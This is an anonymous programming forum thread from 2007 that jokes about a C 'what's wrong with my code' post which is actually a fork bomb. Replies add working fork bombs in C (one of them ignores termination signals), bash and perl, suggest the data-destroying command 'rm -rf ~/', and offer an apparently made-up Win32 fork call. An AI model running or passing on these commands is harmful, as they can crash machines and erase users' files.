Can someone tell me whats wrong with my code
1
Name:
Anonymous
2007-12-28 21:10
#include <stdlib.h>
#include <unistd.h>
int main()
{
while(1)
{
malloc(1048576);
fork();
}
}
TYI
2
Name:
Anonymous
2007-12-28 21:13
This won't work due to demand paging.
3
Name:
Anonymous
2007-12-28 21:17
4
Name:
Anonymous
2007-12-29 5:53
you forgot to return EXIT_SUCCESS from main
5
Name:
Anonymous
2007-12-29 5:56
malloc is what's wrong.
6
Name:
Anonymous
2007-12-29 9:59
does not use factory pattern
7
Name:
Anonymous
2007-12-29 11:18
It's hard to achieve satori,
when you program in C.
8
Name:
Anonymous
2007-12-29 12:06
>>7
Hard, but totally worth it.
9
Name:
Anonymous
2007-12-29 16:18
>>4
Doesn't have to. It's obvious that the function never returns.
10
Name:
Anonymous
2007-12-29 19:15
Funny. I happened to code a similiar one few days ago. Just more effective.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
void catcher(int sig);
int main(void) {
signal(SIGHUP, catcher);
signal(SIGINT, catcher);
signal(SIGTERM, catcher);
while(1) {
malloc(4194304);
fork();
}
return 1;
}
void catcher(int sig) {
switch(sig) {
case SIGINT:
signal(SIGINT, catcher);
printf("Uh-huh");
break;
case SIGHUP:
signal(SIGHUP, catcher);
printf(":)");
break;
case SIGTERM:
signal(SIGTERM, catcher);
printf("Annoying, isn't it..? :)");
break;
}
}
11
Name:
Anonymous
2007-12-29 19:18
c'mon man, this is a thousand times more simple and takes down my dual core 64-bit machine in no time:
#include <sys/types.h>
#include <unistd.h>
int main() {
fork();
main();
return 0;
}
12
Name:
Anonymous
2007-12-29 19:21
>>10
Your code has a catcher/pitcher imbalance.
13
Name:
Anonymous
2007-12-29 20:10
or just do rm -rf ~/
14
Name:
Anonymous
2007-12-29 20:11
>>11
c'mon man, this is a thousand times more simple and takes down my dual core 64-bit machine in no time:
:(){ :|:&};:
15
Name:
Anonymous
2007-12-29 20:50
((lambda (x) (x x)) (lambda (x) (x x)))
16
Name:
Anonymous
2007-12-29 20:55
>>11
What's the Win32 equivalent of fork?
17
Name:
Anonymous
2007-12-29 21:17
>>16
HANDLE hForkHandle = CreateNewProcessForkHandle(NULL,NULL, GetProcessHandle(NULL));
SetNewForkedProcess(hForkHandle, NULL);
18
Name:
Anonymous
2007-12-29 21:19
>>16
There isn't a direct translation; you either have to use CreateProcess or CreateThread (and with a whole shitton of other hacks) to duplicate the behavior, or redesign your application to use the win32-style of threading.
19
Name:
Anonymous
2007-12-29 21:21
>>14
I don't share your definition of simplicity
20
Name:
Anonymous
2007-12-29 22:17
I'm pretty sure the Cygwin implementation of fork uses some sort of messy CreateProcessA hack
21
Name:
Anonymous
2007-12-29 22:27
22
Name:
Anonymous
2007-12-30 4:27
23
Name:
Anonymous
2007-12-30 6:27
That right there is a fork bomb.
24
Name:
Anonymous
2007-12-30 7:57
>>23
I didn't know Cpt. Obvious browsed /prog/
25
Name:
Anonymous
2007-12-30 8:06
>>24
I'd say that's rather obvious.
26
Name:
Anonymous
2007-12-30 10:23
>>19
perl -e 'fork while fork'
how about now?
27
Name:
Anonymous
2007-12-30 13:58
>>26
perl -e 'fork until fork or fork'
Better.
28
Name:
Anonymous
2007-12-30 22:56
Its not in JAVA so its clearly not ENTERPRISE READY
29
Name:
Anonymous
2007-12-31 7:34
>>28
Does
JAVA even have
[sub]fork()[/sub]?
30
Name:
Anonymous
2007-12-31 7:35
>>29
What, so
<sub> doesn't work with
<code>? Hurray for inconsistency, I guess.
31
Name:
Anonymous
2007-12-31 7:45
32
Name:
Anonymous
2007-12-31 7:56
Test:
[sub]code/sub[/sub]
spoiler/sub
33
Name:
Anonymous
2007-12-31 7:57
sub/code
34
Name:
Anonymous
2007-12-31 8:03
call/cc
35
Name:
Anonymous
2007-12-31 8:21
>>34
call/cc is like a functional goto.
36
Name:
Anonymous
2007-12-31 10:42
>>35
goto is like a dysfunctional call/cc.
37
Name:
Anonymous
2007-12-31 11:42
call/cc is like a goto with nomadic side-effects.
38
Name:
Anonymous
2007-12-31 12:21
>>37
bullshit, take you goto metaphor and fuck off.
39
Name:
Anonymous
2007-12-31 15:30
>>38
Technically speaking, it's a simile.
40
Name:
Anonymous
2007-12-31 17:31
Newer Posts